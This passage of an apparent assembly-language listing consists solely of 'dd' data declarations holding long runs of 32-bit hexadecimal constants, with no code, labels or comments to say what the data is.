9E68BF3Ah, 0E987A995h, 282077FCh, 58CFC1h, 0C63B35B7h dd 0CCAEAA4Dh, 5242151Bh, 2F5FD910h, 78609DF9h, 6046036Bh dd 0E5BE8303h, 0DCC6EEF8h, 0A2DAAE00h, 97EDC0D5h, 6BD21795h dd 0BE00EF01h, 0CBCCB43Ch, 587F03E0h, 990FC17Ah, 0CAC370D7h dd 401839Bh, 8E1A7805h, 0AA97610Bh, 5B8603CBh, 0F5D8F792h dd 7600B090h, 7DAA6B99h, 5C64Bh, 782CFAEAh, 96AD8E54h dd 0A2D3E600h, 277F7237h dd 71380726h, 0E0AC4A29h, 81DC121Dh, 0B245A900h, 0D7C40F94h dd 0BBAF04C8h, 0C0198AA0h, 917922BBh, 6F126E02h, 8034FE7Ch dd 0F7A6A508h, 0D6C70098h, 944DC843h, 1001167h, 3C89AE2Fh dd 9F9E4AD5h, 0E60E7F50h, 405DB460h, 0B8D9CAF6h, 744F00DEh dd 84E41E48h, 2B003D91h, 8B95C418h, 0DC7F60h, 0A1A3C6F2h dd 0E6A4BF16h, 0B21FC200h, 97ECC00Eh, 189F003Ch, 0D5D8A970h dd 0EE381A89h, 0B34A9F02h, 83DCC700h, 1DEB1B8h, 98CB3E77h dd 40F70464h, 5ACD5EBEh, 0A88DACA0h, 49B75218h, 8D6F011h dd 5BA396F1h, 0F0FC6A1Fh, 1F8F7D00h, 6BB7A587h, 26E0712h dd 209CC67Eh, 0E552019Ah, 7BEDCE00h, 0CF4508C2h, 0F4720232h dd 4642719Dh, 0DC8F8E3h, 0A81E134Dh, 3C452F0Ch, 80EB14F4h dd 163DCDC6h, 4E00C572h, 0CA836780h, 0E010032Ah, 98F6FAA2h dd 0BE080055h, 2C8B6815h, 51FE46A8h, 8AEE1C00h, 0A69C3562h dd 5EC0A0E4h, 70DF0055h, 31492545h, 8100D5D1h, 0D79E5404h dd 180E9194h, 80C54268h, 77FA82BDh, 3952571Dh, 81CF2800h dd 16F245Fh, 921DA217h, 40A687D0h, 0CD83ACEAh, 0F470B63Ch dd 0C6EA5B07h, 0CAFE4626h, 0FF00EC9Ah, 0CEB7DA1Bh, 4A5F0010h dd 7C91F681h, 0E43CFC7Dh, 81593A54h, 8A998584h, 79E87B98h dd 4B2300E3h, 7D37B857h, 5624C270h, 0D2075839h, 6A005E1Bh dd 0CADE86h, 0BA5C09D0h, 80E0BEBCh, 5D3FD61Dh, 3BC042DFh dd 0C5D54911h, 55C71497h, 8D0308EFh, 1F804831h, 2140C689h dd 190BFC58h, 98A6B900h, 73C3FB70h, 0C40D0051h, 3B0AF4BAh dd 4A03D6FEh, 17460E42h, 0F7D2E0F6h, 4D900054h, 484E6EF3h dd 2B1F6992h, 33AAA62h, 0A1B68F42h, 0FA8A88B0h, 0B79C0002h dd 933EDF79h, 0A2003D54h, 0AA6E4B18h, 48239B62h, 253FC289h dd 290010CCh, 86CC606Ah, 0A1008F30h, 115B63A6h, 73D97150h dd 2E670B8Ch, 80FFAB7Bh, 55DB2999h, 0EA2B3A5Fh, 0FB7A4280h dd 0CBDC7CE8h, 9FE43300h, 5B69DA04h, 6CEB00C4h, 4A7A44FCh dd 3D0747D2h, 632083D6h, 0B0CBC6E0h, 118E00CCh, 0AFD00E34h dd 0A0019DC7h, 95A5DE6Dh, 0A080E6B8h, 0D5ACAA3Ch, 29C032D2h dd 0AEE389B4h, 16D10010h, 33836547h, 4E006D9Ch, 6CCAA854h dd 2456928Eh, 0D01E8Ch, 91064B36h, 95093BFEh, 811138BCh dd 0A0F68B5Ch, 0CA8720h, 3E487ADFh, 0EE5D3A3Ch, 0B34E4B03h dd 7F5801FFh, 0AE2500D2h, 75BD732h, 0B200F296h, 0B03680D9h dd 0AE690DCh, 228B78A1h, 8F7900ACh, 1ABFCBA2h, 0A9839F00h dd 0BB9ABD64h, 267A1216h, 0B44409F2h, 3572EB80h, 0B0008B5h dd 25180986h, 0FBEE27h, 5D8E4A58h, 0A11D3CCAh, 49CE5200h dd 503DBCEFh, 88315159h, 39F61BDCh, 0CE0164B6h, 0ADE5A8D5h dd 0F867D55Dh, 801FCC87h, 0AA55959Ah, 0E5C900A8h, 0F9930F4h dd 72B009D0h, 4C10A6B2h, 1373F955h, 99A54600h, 27FCA87Bh dd 420C0088h, 0CC763515h, 0C900622Ah, 0F27C9BADh, 0EF09ADBh dd 6F3370AAh, 0E3E42280h, 0B300266Ch, 49A5F7B9h, 18EE0CDh dd 6270CED5h, 0F476E880h, 3400C49Dh, 61682498h, 7328D8h dd 0C2B10E81h, 980DD2Fh, 146A2260h, 0EA7417B0h, 26FD0E4Dh dd 0A2A137A3h, 0BD054A32h, 5B7002D8h, 0E0C81609h, 77AED0h dd 0D2180B69h, 75A453B4h, 0BE558F00h, 95BDDE3Ah, 0AA60052Ah dd 1DE0826Bh, 1355308h, 92034E16h, 2BDC2032h, 0B8C52700h dd 0C761FFABh, 95150021h, 0E5184C0h, 0AD58D8F4h, 0CD20028Ch dd 0E25DC98Ah, 6604A143h, 9ED8C6BDh, 213F031Dh, 9CE84B06h dd 0E0D57490h, 0FD3E170Ch, 3F868C3h, 0EF288AD7h, 0F9D058AEh dd 0C4B2C75Dh, 68167074h, 1400082Ah, 0D81242FCh, 0A64F0A72h dd 2AA49C28h, 0C6023DE8h, 38DC5499h, 0D988E495h, 0E466ED24h dd 3C5D5803h, 0F021F87Dh, 0BE491D0Ah, 65C4C019h, 0CAF28F17h dd 0FD62E201h, 0AED1920Dh, 17F8020h, 873A25Eh, 0DC25C6BFh dd 4A0041FEh, 87F3DFC2h, 0AA68C8h, 0D339F73Bh, 0D132E6FFh dd 1438A549h, 88802D45h, 7ED28EBCh, 0B8942CA0h, 9EFE8A98h dd 809F4A3Eh, 0B390BC93h, 0F41ED512h, 682B0019h, 785EF0E4h dd 0BE033386h, 9A4010B7h, 160157Eh, 1F167015h, 0E3E800A9h dd 0B9144DAFh, 8500A57Dh, 12F5ABCBh, 58C53FEFh, 6F2C5C56h dd 47700F1h, 0C3A1D453h, 0A4235828h, 0E0F58024h, 0B9341380h dd 479B8Ah, 94FFEE43h, 4B9277F4h, 3DABCE06h, 0E590A85Dh dd 0B3CCF0CFh, 0D832004Ah, 49D0CDD3h, 0AB0C378Fh, 0B0712E85h dd 14191418h, 8E0DD0E5h, 0EC19DF01h, 41076575h, 61DEAB44h dd 8E960C91h, 0F9002433h, 71A33AF2h, 27245879h, 9600B813h dd 6948302Dh, 4A800CB3h, 24B0E187h, 1F9ED200h, 1AC684A2h dd 60B100CDh, 313C12E5h, 0A5065E7Ch, 217C130h, 0F839E6B9h dd 26240B82h, 8802F3Bh, 1B882CC5h, 42540B00h, 9747679Ch dd 3ADEE84h, 0E908C6C2h, 50003ADCh, 0C8E39144h, 7995719h dd 6F7278BCh, 9773F3C6h, 0CD1E70E8h, 58ADB07h, 11A0F1C2h dd 3F6CA2h, 75D0D406h, 25DDCB5Dh, 0D3923Ch, 706EC5E5h dd 0D6CCE6h, 1B49322Eh, 0B1E42CF4h, 2FF86B00h, 4522E305h dd 357210h, 1DFB7279h, 0E103D164h, 0CA6A200h, 2778063Eh dd 0E0677381h, 0FF0400DBh, 0F26558BFh, 7D030CABh, 0D2F94080h dd 0B35A8855h, 0ED0D3E5Bh, 0E67EC500h, 36971D29h, 6A13877Dh dd 0D000EAA3h, 0B1F8DA40h, 418900E5h, 3429FA35h, 1158B3B2h dd 2FDD00CBh, 0BB2618A3h, 814E005Ch, 66FFBFECh, 631CEE88h dd 0F68099C9h, 4758BB85h, 51B60061h, 0A5BA5DF7h, 320B8B77h dd 802F9A3Bh, 0BFF09C70h, 69E20417h, 8001DB22h, 403C09C5h dd 9B939F0Eh, 0EB7940DFh, 692DCCh, 4DAC4410h, 0BBE85F17h dd 183D8F00h, 76DFF874h, 8A6C0953h, 4407C0EBh, 1503000Bh dd 0E775847Fh, 20A04Dh, 828E7E96h, 2C215DFAh, 0CE315AEh dd 0E521051Fh, 775EF900h, 0FE434B4Fh, 0E6DE1E8Ch, 13DC80E3h dd 6F0D54CCh, 9C532600h, 8333503Ah, 0B091006Ch, 40ACEAC8h dd 0B9006625h, 488E51DEh, 1041B2h, 0CBC2C124h, 853634D9h dd 6E19FB1Fh, 0E7C75F40h, 0E47084h, 792B644Ah, 4D30BD77h dd 0B37BEE01h, 7EDF430Fh, 0CB8C20h, 0E361F307h, 0BEE6B5D4h dd 508AD300h, 4408B330h, 2BCC1FCEh, 5F394207h, 0BC40E86Ch dd 0B80E1312h, 9E8DF171h, 347A5B00h, 0FA9369F9h, 23F7089h dd 11D01A76h, 0C8605810h, 3D0FA81Bh, 0CB697823h, 0D10C0187h dd 0A07FE529h, 0F7F8AB16h, 6D92C000h, 0F4B6CC1Bh, 75C20E78h dd 1E295613h, 0EC8964A2h, 0A773A923h, 0D3E9C290h, 0F50D0062h dd 98405706h, 0AB0053A4h, 769BA7F2h, 90DAF72Eh, 28541E19h dd 8F084055h, 6CAA8034h, 0CB00CC98h, 87674A40h, 32356979h dd 8871D0A5h, 4CC95810h, 0E1079CA8h, 371643C1h, 50B7B72Dh dd 0C5D46EAEh, 0E301D272h, 41817AB3h, 0DC4165D1h, 1C21FBC9h dd 42806C73h, 0B018135Ch, 8711DB3Ch, 0E4F127F3h, 0F55305A0h dd 1D8E2C92h, 1C2648h, 683BF7D6h, 8500D00Ch, 1053EE75h dd 1C8D3E3Dh, 0C098B57Dh, 1E51196Fh, 56EAA1E7h, 9A21D89Ah dd 9739018Eh, 0FC7A9BFCh, 8A0F17B6h, 60945A95h, 2D19D71h dd 5D011D03h, 4860D870h, 398915B8h, 0E1018476h, 12326688h dd 0A1942491h, 0A7F0DDEEh, 8B00B472h, 1B35E786h, 59B56CADh dd 9E1FD023h, 1F7440CFh, 0A14A12FEh, 0F4555603h, 0C1D4A9h dd 0F6110548h, 0CB8EC873h dd 0ACA3DE26h, 531A3702h, 0DDAC8564h, 74439780h, 0CA58E1h dd 0A5D220Ch, 2A00D760h, 99EE26A6h, 7A1C3402h, 9DF91E2Ch dd 6AB9407Ch, 0B51340BCh, 1D5C02E2h, 0CC3801C8h, 0B9193DDDh dd 0FCD5F0h, 6090333Ch, 119691A8h, 0DEB15A1Ch, 4D4B55DEh dd 0A5400135h, 87FCB9AAh, 88231244h, 43E01D3Fh, 1758D471h dd 0B11A2009h, 62D8C167h, 76149FE0h, 170B71DFh, 404D3ED6h dd 0C754B404h, 0F002CC1h, 568759FCh, 0B826C009h, 0BD67009Ch dd 0D4EAC350h, 8F27D7B6h, 0CA47614Fh, 0FE86CE20h, 2EA10080h dd 0DC75A2CBh, 0B858A565h, 9C9500E4h, 0C5428733h, 3D7E6E7h dd 5C224CE1h, 4DEA6D27h, 0F5007446h, 0B5DC7260h, 1D1F352h dd 30CBE820h, 208A09B0h, 88017814h, 0F69D21CDh, 6DE46F29h dd 0DB130098h, 6991579Ch, 40161E7Eh, 0A6002B2Eh, 86AC4601h dd 0A41158A2h, 0D1D69500h, 303A4C5Bh, 450F9C00h, 94206BFh dd 0A2E207A5h, 804D1497h, 0E12CB8CAh, 0AA6E5E01h, 0A405C9EEh dd 2EACED8h, 355C4C50h, 446096B8h, 810FFB7Ah, 0E0F61940h dd 0A061B022h, 107E27h, 54AE7292h, 0E34F0FEBh, 52FB8A1Dh dd 84006852h, 0D83AF036h, 2E6C00C8h, 61D914A8h, 0B600AE37h dd 0F4904BDEh, 0B2867Fh, 3343F2DAh, 3E9A3CABh, 0A32BDF03h dd 3E2D951Dh, 208052E8h, 51B86DBFh, 0A9005C2Fh, 0BA63B122h dd 3F4E353Fh, 0E500E4AFh, 7A920BEEh, 6E15F624h, 3C084F40h dd 6A568174h, 0CCC3F081h, 3C7668E8h, 47780F3h, 0EA650DF1h dd 6BC480FDh, 0C8010CAAh, 1AEEBD6Fh, 1DE05530h, 0F72A0901h dd 0D82062F1h, 907E8EE2h, 0DE3AD900h, 7D998027h, 0C2A23F6Ah dd 0ACC94E80h, 0F8C70483h, 8F1E2Dh, 6D449A74h, 0B517003Ch dd 8AB7E52Dh, 4900E6D6h, 0D5C1105Dh, 0A29383h, 0C55A4889h dd 88CF29FBh, 26F4E709h, 36EC804Fh, 0EAFC28Ch, 835674EBh dd 0C11B8605h, 0D44ABF60h, 72EA0D34h, 0F15D7C00h, 62A3C373h dd 7BD269Ah, 0E8320325h, 0C49351A1h, 0BCAB8FB0h, 6523D400h dd 0D284CCB4h, 25F07E0Eh, 14002934h, 0B9A0C299h, 8895A10Bh dd 11A0212Ch, 403476F7h, 0BA1707B2h, 60015083h, 8EC04385h dd 5D6FCA00h, 0C18FA72Ah, 0C9C63BF2h, 0A6A12C00h, 7DCFDF7Eh dd 0B5185B01h, 0D1897868h, 0E6E430h, 0DA936A1Ah, 675C4E0Ah dd 3A009498h, 72AE24C7h, 0B26D47E6h, 15ED0028h, 4C7ABFCFh dd 0F31F9957h, 0AF03228Dh, 0E19F2F05h, 1090234Eh, 24C407B5h dd 20FC06C5h, 0B6221C8Ah, 3A62CFE8h, 2CF62B00h, 209A04C8h dd 2181EA0Dh, 23E0803Bh, 16AC7679h, 0DC20BA0h, 0C0290A24h dd 0E374D13h, 0D5805084h, 0E844C2h, 0BE1A6D4Ah, 829758Eh dd 8897B700h, 190CBF51h, 6D5F0C0h, 9B4E8BDCh, 6D009862h dd 43613C76h, 249736A3h, 3B74D52Fh, 0FCBFE700h, 0E3563015h dd 0B4530900h, 5966A29Bh, 0D2AD072Ah, 11D6D8CBh, 2084DA71h dd 0CD07C77Ah, 2F916B75h, 0FA30D080h, 472F63Eh, 0B4BEB73Dh dd 658815Bh, 0DFC6F0AFh, 86EA337Ch, 1F2D3B00h, 8A374907h dd 4B18C40Ah, 230880EDh, 4E6D73BEh, 31D02038h, 68B75932h dd 4C522900h, 563C6A59h, 48C12E78h, 392A26AFh, 0B60C28BEh dd 4C182CEFh, 8862851h, 414ED6E8h, 2F43481Eh, 306CF70Bh dd 0B6213F08h, 2002BF9h, 5E94EB24h, 0B8FA34D4h, 39062E01h dd 4228034Fh, 1000DB20h, 0BF1536BCh, 0AE07B3h, 0CE6F8950h dd 0A297B667h, 0D6CB3A00h, 0E1339668h, 0EF911C61h, 7AC380B9h dd 85ED1CC1h, 3B7E8A00h, 0D34DCE51h, 5A670064h, 8E980182h dd 6B03260Fh, 939DF344h, 0D8949339h, 0B2E1A0h, 67D1701h dd 0EEE76BC3h, 0B84AA400h, 0B3D7DA7Ch, 0D57C8Ah, 9A22543Dh dd 72857A49h, 3C06F807h, 6E00A4ECh, 0E9B1C4h, 0FB13A604h dd 0CB2B0B1Ah, 21AC08CCh, 30F04CD3h, 54766A03h, 1800AE0Dh dd 3A75F115h, 0BA77E6h, 34812E23h, 0FDC787BBh, 2D11800Fh dd 0A700DFB4h, 3E89C106h, 720B0C05h, 0F1589A46h, 0F60023F6h dd 0C5BB3599h, 6CBA76h, 0C0E7FC19h, 0A31A689h, 0C4717260h dd 605FB42Ch, 22395014h, 0A522AA3h, 3091F268h, 0E23E9F6Ch dd 78270CAEh, 1F98786Dh, 0F076436Eh, 0D8209128h, 0BF01CF72h dd 87FA2812h, 34D02B7Ah, 0FF20C069h, 0BA20CFD1h, 1B17A258h dd 0CA506E99h, 0AEC10003h, 6B40A77h, 0B495D601h, 0FAC02B65h dd 0D9A30197h, 0CBAE018Ch, 9216CC2Eh, 77715500h, 0E9321EF6h dd 21BA00DBh, 0A2A73323h, 443D818Bh, 0A4798B10h, 22A50736h dd 0B33E803Fh, 646C59DAh, 8713080Eh, 0CFB2D0A7h, 0C39FFFD0h dd 8CF0F7C0h, 168FE795h, 0EF2D71h, 958C239h, 6C004E59h dd 5247E596h, 28DAC138h, 0C0EC33CDh, 5AD6DB68h, 42075813h dd 0EEE38D88h, 0F3858050h, 0D130C086h, 5E48FDA5h, 0B300F075h dd 8C1342EFh, 53C428EDh, 109620E8h, 458020F7h, 29B3F383h dd 58144A00h, 0EE3359D5h, 9211019Eh, 945D7FCCh, 3D089804h dd 37CAF9h, 0A55E3E9Eh, 77D00AFBh, 0EC0A99FEh, 24B128B3h dd 2A9EE980h, 867E9492h, 0C93944h, 9CD09E36h, 4AF62592h dd 0FB97321Dh, 54DBEC80h, 0A3588402h, 0A0BF9BB0h, 0C0D4F8C3h dd 56617511h, 1D0C5C3Bh, 95BC737h, 2080FDD2h, 4C542915h dd 830627B1h, 1ADB2590h, 0B78E0299h, 0EC1DF055h, 0BF138C80h dd 1060FF5Fh, 2D12C720h, 48526F23h, 72F07900h, 0A7E2ECB7h dd 0BAD4DE38h, 0D56960A4h, 73FFC8h, 655E687Dh, 0D124E21h dd 404560C4h, 1148EE27h, 0FB614844h, 0A2D1E973h, 6E443058h dd 73C11F19h, 0CC8CC9F5h, 0F1C6ED80h, 20C25D4Dh, 443FEC20h dd 0D5E32048h, 9E24A3Dh, 2FAEC9C4h, 393477Bh, 860F3567h dd 81280A6Ch, 0F2183748h, 0ECB17208h, 4050C49Ch, 4473FA1Eh dd 34100045h, 0E29730BDh, 0EE00D348h, 0D1C3E4D8h, 1013DB6Ah dd 0DAB069h, 0F092B138h, 197D4ED0h, 81E3917h, 62180C0h dd 1A249229h, 3A2B0046h, 7DEF8FD4h, 0A0C8D8FBh, 72F1C036h dd 0E456ECB0h, 0B0BC2AC8h, 73F90300h, 0C3153260h, 23718EBh dd 18D980Fh, 0ABA1183Bh, 950506Bh, 5EE0F7h, 0FF89BFA8h dd 8E21C817h, 0C5F67809h, 0FA54110Bh, 54042E18h, 36C55CEEh dd 1820E832h, 39935416h, 0B78C2782h, 0F9E94322h, 0AE905BE8h dd 0D6CA1F07h, 0F01AF862h, 0D4B65880h, 0EAAF3C65h, 5CBC280Fh dd 173F81Ch, 24FF76ECh, 8A6F5DBEh, 0CC16E719h, 429D1811h dd 6D0F792h, 28FD071Ch, 0F1DCB992h, 22027C03h, 36523F4h dd 8C7D9E3Ah, 9167FEAh, 0CE9E23D6h, 3F3D4083h, 431D9179h dd 0ADC7E8BDh, 0B0518163h, 8C708705h, 0A02707A4h, 0E072DAAAh dd 0E22DDF65h, 80E0712Ah, 0D2495B00h, 7047D975h, 0D60C0057h dd 7168311h, 8000693Fh, 0E0C37736h, 0AF9E1A6h, 0C659BC70h dd 567AC0CCh, 25215C3Ah, 0EEE9135h, 23542214h, 818BD4BBh dd 61EA5E4Dh, 40C24B64h, 9BED6028h, 84D57078h, 956AD8E8h dd 23117039h, 2D73FE80h, 6442FCD1h, 73C41AC0h, 4600813Bh dd 91427E10h, 9823BF17h, 515D326Ch, 3B302A98h, 8C60349Eh dd 0D34C7090h, 0E7019E30h, 5EBBCF3Ah, 0B4514B82h, 9857DEF0h dd 8E270670h, 0F37F0080h, 0F434B4D3h, 1103A6E6h, 9542BF1Dh dd 56700912h, 2029C68Dh, 8841AC0Dh, 87B38B18h, 0B6F580D8h dd 18916948h, 941805D1h, 0A1E0D770h, 0FA17F271h, 8E1FD174h dd 0C740873Fh, 0D7804E8Dh, 1AF8682h, 6530C334h, 86CB0239h dd 643D5849h, 91881FA1h dd 0C07D1FA2h, 84A7C082h, 5C71CE0Ch, 0D3FB4A00h, 7EA7901h dd 96E600C6h, 2D3B8318h, 0BC038C7Ah, 105D237Eh, 818FA105h dd 8CC43820h, 0F0567C02h, 1637555Ch, 54241A16h, 738E8400h dd 1E5C9B17h, 0E6C03D02h, 63F8442Ch, 5C04E810h, 223443F5h dd 181E00E9h, 28706B54h, 0DB63F036h, 0F004FD39h, 506E2D07h dd 8C2EBCFCh, 0F192BA04h, 0EC6256D0h, 1207D4A0h, 20072AFh dd 6DC8475Bh, 2930652h, 885EA2A1h, 0E89FDB09h, 62D5ED08h dd 0B8405387h, 6600A14Ah, 0B3C878E7h, 1DD8E954h, 182FBD35h dd 5E55E1D1h, 0DA819514h, 1242338h, 0D103AF2Ch, 806C3366h dd 6D9264F9h, 28AD1E96h, 7536C021h, 0B25B9BAEh, 5F87CA01h dd 0D8054489h, 0DCCFC044h, 1FC05388h, 54F676A5h, 7A0C025h dd 280B92EBh, 0A98630DFh, 36013789h, 0DA804643h, 4473EA23h dd 0FD002223h, 0C4D12C73h, 2F8085A4h, 0AB4B73CBh, 0C6C905Ch dd 1DF1C82Eh, 0DD3B2079h, 5DB8500Dh, 374DF900h, 0C49D3339h dd 0D974F3h, 18B4939Eh, 26E19623h, 84304E70h, 0EB8B417Dh dd 8A3C1C4Fh, 0F4C1D4ACh, 0EEE24C53h, 22256032h, 9969h dd 6C9930D4h, 0BC018909h, 737286ECh, 23F0DC5Dh, 0B63A013Eh dd 8CDE43D9h, 1B6C301Ah, 0BA8DC00Bh, 0CA8000ACh, 1F83A997h dd 8142D8FAh, 209DD8Ch, 6D93EBC9h, 787BA0AFh, 0B7070F76h dd 32F27D8Dh, 6064A622h, 1D7218h, 30F073DCh, 1A41DD88h dd 0FCB10F07h, 2FD01E8Eh, 7B5BF8F9h, 5D6C0060h, 98F048CCh dd 0BCB13F9Ch, 638DFC00h, 0FE46D3h, 8F92CDBFh, 0D91F34C5h dd 2657C101h, 50306044h, 1D5C7C0h, 1BD7512Ch, 0CCE16A5Eh dd 1126C5F0h, 3200EE4Fh, 18845994h, 2B37003Eh, 0CE26602Fh dd 0EC004135h, 9812EAA0h, 0E5D0A3Fh, 61831411h, 89F35480h dd 0C2CCD652h, 0C014072h, 14E2DFB5h, 0FD062F81h, 79BE27F2h dd 0C9E101F8h, 0D2B4DFBFh, 0A8C280D5h, 0E303D430h, 3E19006Ah dd 0ED2CC61Fh, 3A00CB01h, 1DADFB2Bh, 61A68FFh, 1C811BB7h dd 310008DFh, 784D5E5Bh, 22BB58h, 0E4962C10h, 209CEC69h dd 9B40CC60h, 1E08554Fh, 4C7C452Eh, 0AE085D19h, 0A0401B6Fh dd 34ABD744h, 64230052h, 49EC8F9h, 940ECC6Ah, 81E6502Ah dd 139B9931h, 0A974EE8Eh, 701FA180h, 0B700911Ah, 0CB67F5Ch dd 0CBADA2h, 0DA99D521h, 0C35D48E9h, 40C08E77h, 0BAFA1CBBh dd 0C00F6004h, 0F87A179Ch, 81A9E439h, 985E22F2h, 5BCC6DAEh dd 187B0039h, 1E2B3E6h, 0D10230F6h, 4609DE1Bh, 7F34C094h dd 497A1C44h, 0AAA140B0h, 0F7C41DFCh, 66550716h, 0E3C0E600h dd 0CA3010h, 2AFFD14Ah, 580F20EFh, 7B68800h, 0BB84EC71h dd 4C6403A1h, 23799106h, 0BCCA73E8h, 36EF48h, 0B3814107h dd 0AE6CE7h, 9D280E19h, 0F96BDD12h, 9CD3B400h, 96FD8F75h dd 62840033h, 74305A2Eh, 2900F5F1h, 0E9D7F89Dh, 30A663B6h dd 0CF4008A5h, 0D800B26Ch, 0D002FDD4h, 639E78h, 72A0FA38h dd 6B7D3477h, 0D6FB4200h, 121FA87Fh, 0C978D82Bh, 0D71CBEBDh dd 0D5DBC5D2h, 1618BEAEh, 31059Dh, 9F1C386Fh, 8C6283Bh dd 20D448h, 77311DFBh, 27496CB2h, 29B5BB1Dh, 46160A7Ah dd 0FF00AC90h, 0DE92DA0Ah, 883E03A2h, 8BE615F3h, 80BDCCA1h dd 99F2DF20h, 1B10FEB4h, 399779EFh, 80EDC1A1h, 523850A1h dd 0CC4BBCh, 0D98D4210h, 0F1BF8B93h, 1FD720C0h, 768966D2h dd 0EB870C78h, 1C08DF70h, 0B0509360h, 3B176625h, 2F0095ACh dd 408F4AA2h, 71019474h, 0C4537A84h, 8058D4D7h, 0DF31041Ch dd 32127024h, 14E620B4h, 0D9387431h, 0AE8E008Fh, 5DAAC627h dd 51D370BBh, 0CD416044h, 3C44D5Bh, 95720005h, 0E2656A4Bh dd 7F0013E9h, 0BBC0E6B5h, 2274D7h, 93837D3Ch, 66FFEAB7h dd 0A10604E8h, 0A6C7AABh, 167804D1h, 8014D61Bh, 8AFB5C00h dd 0FEEA4907h, 7260F583h, 0C0D32FBEh, 173BBA20h, 6F53F603h dd 0FF848420h, 51A8C560h, 0CF83E06h, 0C9D343h, 0D050DDF7h dd 0A67FC258h, 7E74B2ECh, 2D21DB60h, 39AF53D6h, 0CFA63E5Ah dd 0B8D90E6Ch, 380F92Bh, 9CB9D0D7h, 38A1A707h, 6A70F1C3h dd 635902h, 0E5D4820Ah, 26D27DB5h, 0E80F1718h, 3AFAA0h dd 6FDB2AF8h, 65791C44h, 90DA2B2Ah, 0E6DF00A8h, 589F1503h dd 0E030C5D6h, 0C0F35BA1h, 0DF652540h, 0E0C6B629h, 83F96341h dd 1E60ACF8h, 2410C531h, 0B2C81C20h, 3116F880h, 24801AB5h dd 31981E25h, 83F59B50h, 0EF5A9469h, 0C86AC8F1h, 594F0085h dd 7827F8F0h, 0C6B00735h, 0FFD63Dh, 0E31ED879h, 5D98Ah dd 91CD8DDDh, 45AD6A32h, 65692707h, 0AE17A92Ch, 34EF7150h dd 4F3E138Ah, 0C21C54h, 0EDC37312h, 4A2699D1h, 0EE006123h dd 5C2784A5h, 3B060028h, 0F8CC7AC3h, 33EE6610h, 0F64239h dd 43FE705Ah, 1EB23761h, 8006B016h, 0D055A382h, 3A07BC7Fh dd 0FE8176D3h, 0E89BDBE0h, 15470051h, 86B21D66h, 791C7467h dd 386EADh, 0F9100F9Ah, 6B9849h, 9B4885ABh, 6AACD6C5h dd 0F00410D1h, 0C2952F3Bh, 0C35A3310h, 4AB6A980h, 84006173h dd 0F80F9304h, 3383249Ah, 0E828F70Eh, 300FF692h, 48489084h dd 0F91F4317h, 7C925111h, 21B5C211h, 708A1F7Bh, 608BF629h dd 894A1080h, 0D1D9104Fh, 0ABEC3FD8h, 45B19680h, 63E4D0C5h dd 0BA9B1F00h, 1EDEE36Ah, 708F0037h, 449FCD58h, 43074791h dd 0B0084D60h, 2F3D4880h, 384C00A1h, 576B637h, 7A1C1092h dd 1B802B5Ch, 0BD5F60EBh, 0A1D50730h, 0F5EFD4ACh, 6794804Ah dd 200029B7h, 1FEC61BEh, 0C77C80h, 909F5428h, 0F13B26A5h dd 0D051A900h, 12A05E04h, 64860B09h, 0C8005542h, 9EFAC06Eh dd 723E5C7Fh, 0FBD88076h, 0F8FD7C94h, 21A00312h, 2B5DBD65h dd 0E88476D8h, 90DD8A8h, 0A835AA00h, 0C120FCC5h, 961703FAh dd 56E771E0h, 40059FD8h, 0FB21DE03h, 9E8562h, 0F6C8D310h dd 0C3EE7797h, 0DD023000h, 0D6BFB724h, 0EA6F008Fh, 558927E2h dd 3B00E8B2h, 3AE4DC20h, 2CD74D69h, 289A59FBh, 0B88D2818h dd 5F2400A8h, 0F1AF343Ah, 16007C8Ah, 53F66603h, 0E107ABh dd 8E9EA1D9h, 71ED9950h, 0B2E608C0h, 26576F9Ch, 0C3F9BAh dd 39C05F2Fh, 0C9161E6Ch, 8E0340E3h, 0C8C11AFBh, 734C8Fh dd 9FAD5C05h, 8B070919h, 9CE7AB03h, 0F077EE57h, 1E4E8F50h dd 32B108h, 0F22DFC85h, 0E0006664h, 173D02A6h, 1BA5AD2h dd 904854DFh, 0D45F0777h, 8765627h, 6FEA73Bh, 4D731F45h dd 78C10070h, 721828DCh, 0DA1EAD23h, 0A85C7D16h, 4F7FD4C3h dd 0C800B5A6h, 44F12201h, 0BE7C0041h, 0E8CA4218h, 723F58FCh dd 0C6BCD5A3h, 4188BDE0h, 0D547500h, 182A3C49h, 6B7300F5h dd 173481CCh, 0CFF0F459h, 648B048h, 0F76218AAh, 4CFAEC20h dd 0DD0040F3h, 765A1A90h, 9AF22265h, 0A0080849h, 0EE750B06h dd 0D66D0FA1h, 68415EE2h, 20652FB9h, 81046E38h, 0AFC0CFB2h dd 39E76300h, 0EA262FD2h, 56000082h, 36ADDD18h, 0B04090A8h dd 324300A2h, 7CEC6417h, 20005F50h, 5B94DAE6h, 3EB2318h dd 8C02C181h, 84B8FD3Fh, 9AA0136Dh, 54005296h, 0A01ADB1Eh dd 9D2C7Ah, 2A0DB5A5h, 0D0073AFCh, 8761FF18h, 772BE0h dd 0A9E5AA2Dh, 155889B6h, 0DE3D2800h, 33798362h, 59350C0Ah dd 7430CED7h, 68E57F0Ch, 8411C7h, 1179F92Bh, 0CAE157B6h dd 610731B0h, 0CE9684Eh, 40017F70h, 0DF030127h, 0D741043Fh dd 2DC5ECA6h, 25D4400h dd 6F82AEB0h, 0AFFF0161h, 37861F1Dh, 0F64820A3h, 0AA445200h dd 6D2404B9h, 0A9710A75h, 199410ECh, 0E8607E37h, 5500BFE9h dd 0C88E9326h, 0B69A4Ah, 80D84291h, 3845075Eh, 9CB14E0Ch dd 0D4D80Eh, 35A7C126h, 0DF649866h, 0BBC59900h, 4007F295h dd 4BF100C7h, 253CD4FEh, 3D0069E7h, 4852832Bh, 0A3B747Ah dd 7E2C0E77h, 72D400B0h, 0D7FE5863h, 71E3D00h, 0D1FF09BDh dd 0B06D005Ah, 8ECE522Ch, 3B0081ADh, 2D94BE49h, 4F9F421Ah dd 0CDA8F5h, 7D7B8D65h, 6A1251h, 2ED87DBh, 6E0B794Ch, 0EAF87100h dd 6FFBD937h, 0B0D5027Eh, 0F23C8090h, 0A605C680h, 0F4E1B942h dd 0C10BAF50h, 51DEBDh, 7344C53Ch, 49D400E9h, 8F87EA42h dd 8C03FBDBh, 0CD9C439Ah, 32A18146h, 0D3B7C0h, 613BBBFAh dd 0B67A2880h, 50F1400h, 6C9AD81h, 43E0185h, 35D85C4Bh dd 0DC3DD545h, 0FD1215F0h, 8C40CE82h, 0A8B37F08h, 0F22C03E2h dd 9E21D3E4h, 0DFC9A800h, 9F57FFF5h, 3EC108A9h, 7A005063h dd 95B81065h, 0F8BF382Bh, 64324001h, 0F2DD596Bh, 0C08BB061h dd 